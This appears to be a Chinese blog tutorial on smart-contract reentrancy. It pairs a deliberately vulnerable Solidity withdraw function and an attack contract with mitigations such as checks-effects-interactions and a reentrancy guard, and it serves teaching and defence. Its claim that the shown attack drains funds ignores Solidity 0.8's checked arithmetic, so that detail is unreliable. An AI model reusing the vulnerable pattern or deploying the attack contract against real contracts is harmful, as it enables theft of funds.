重入攻击安全漏洞

在 Web3 的区块链领域,重入攻击是一种常见且危险的安全漏洞,主要针对智能合约。下面从攻击原理、攻击场景、示例代码、防范措施几个方面进行详细介绍:
攻击原理
在以太坊等区块链平台上,智能合约是使用 Solidity 等编程语言编写的程序,运行在区块链的虚拟机(如以太坊的 EVM)上。当一个合约调用另一个合约的函数时,控制权会转移到被调用的合约。重入攻击利用了外部调用的特性和合约状态更新的时序问题。
在传统编程中,函数调用和状态更新通常是原子性的,但在智能合约中,外部调用可能会导致控制权暂时离开当前合约,攻击者可以利用这个间隙,在当前合约状态还未更新的情况下,多次调用当前合约的函数,从而实现重复执行某些操作,如多次提取资金。
攻击场景
重入攻击最常见的场景是涉及资金转账的智能合约,比如去中心化金融(DeFi)协议中的借贷、存款、提款等操作。攻击者可以利用重入漏洞,在合约未正确更新账户余额的情况下,多次提取资金,导致合约资金损失。
示例代码
以下是一个存在重入攻击漏洞的简单 Solidity 合约示例:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract VulnerableContract {
mapping(address => uint256) public balances;

// 存款函数
function deposit() public payable {
    balances[msg.sender] += msg.value;
}

// 提款函数,存在重入漏洞
function withdraw(uint256 amount) public {
    require(balances[msg.sender] >= amount, "Insufficient balance");

    // 先转账,再更新余额
    (bool success, ) = msg.sender.call{value: amount}("");
    require(success, "Transfer failed");

    balances[msg.sender] -= amount;
}

// 查询余额函数
function getBalance() public view returns (uint256) {
    return balances[msg.sender];
}

}
contract AttackContract {
VulnerableContract public vulnerableContract;

constructor(address _vulnerableContractAddress) {
    vulnerableContract = VulnerableContract(_vulnerableContractAddress);
}

// 接收以太币的回退函数
receive() external payable {
    if (address(vulnerableContract).balance >= msg.value) {
        vulnerableContract.withdraw(msg.value);
    }
}

// 发起攻击的函数
function attack() external payable {
    // 先存入一定数量的以太币
    vulnerableContract.deposit{value: msg.value}();
    // 发起第一次提款,触发重入攻击
    vulnerableContract.withdraw(msg.value);
}

}

在这个示例中,VulnerableContract 的 withdraw 函数先进行资金转账,再更新账户余额。当 AttackContract 调用 withdraw 函数时,转账操作会触发 AttackContract 的 receive 函数,receive 函数又会再次调用 withdraw 函数,形成重入攻击,直到 VulnerableContract 的余额不足。

防范措施
为了防止重入攻击,可以采用以下几种方法:
先检查 - 再修改 - 交互模式(Checks - Effects - Interactions):在执行外部调用之前,先完成所有的状态更新。修改上述 withdraw 函数如下:

function withdraw(uint256 amount) public {
require(balances[msg.sender] >= amount, "Insufficient balance");
// 先更新余额
balances[msg.sender] -= amount;
// 再进行转账
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
}

使用重入锁:在合约中添加一个布尔变量作为重入锁,在关键函数执行时锁定,执行完毕后解锁。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract ReentrancyGuard {
bool private locked;

modifier noReentrant() {
    require(!locked, "No re-entrancy");
    locked = true;
    _;
    locked = false;
}

}

contract SecureContract is ReentrancyGuard {
mapping(address => uint256) public balances;

function deposit() public payable {
    balances[msg.sender] += msg.value;
}

function withdraw(uint256 amount) public noReentrant {
    require(balances[msg.sender] >= amount, "Insufficient balance");
    balances[msg.sender] -= amount;
    (bool success, ) = msg.sender.call{value: amount}("");
    require(success, "Transfer failed");
}

function getBalance() public view returns (uint256) {
    return balances[msg.sender];
}

}
使用 transfer 或 send 替代 call:transfer 和 send 有固定的 gas 限制,并且不允许执行复杂的代码,在一定程度上可以防止重入攻击。但由于 transfer 和 send 已经被标记为不推荐使用,所以更建议使用前两种方法。

posted @ 2025-02-04 07:59  Web3民工  阅读(137)  评论(0)    收藏  举报